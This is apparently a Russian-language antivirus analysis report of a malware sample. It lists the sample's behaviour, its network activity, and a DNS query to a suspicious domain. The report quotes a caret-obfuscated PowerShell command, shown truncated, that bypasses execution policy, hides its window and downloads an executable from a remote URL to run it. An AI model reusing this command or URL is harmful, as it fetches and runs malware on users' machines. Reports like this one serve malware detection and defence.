Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://owi374gruy.us/frat.exe как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "PO^WEr^shE^lL^.ex^e^ -ex^E^Cutio^NPoL^IcY^ by^p^aSS ^-N^o^p^RO^fi^l^E^ -^Wi^ND^OW^styL^e H^iDDen ^(^nE^w-^oB^jeCT S^ys^t^EM.NE^T^.wE^B^CL^Ie^n^t)^.do^wNlOa^Df^i^l^e('https://ow...
Сетевая активность
UDP
- DNS ASK ow###4gruy.us
Другое
Создает и запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "PO^WEr^shE^lL^.ex^e^ -ex^E^Cutio^NPoL^IcY^ by^p^aSS ^-N^o^p^RO^fi^l^E^ -^Wi^ND^OW^styL^e H^iDDen ^(^nE^w-^oB^jeCT S^ys^t^EM.NE^T^.wE^B^CL^Ie^n^t)^.do^wNlOa^Df^i^l^e('https://ow...' (со скрытым окном)
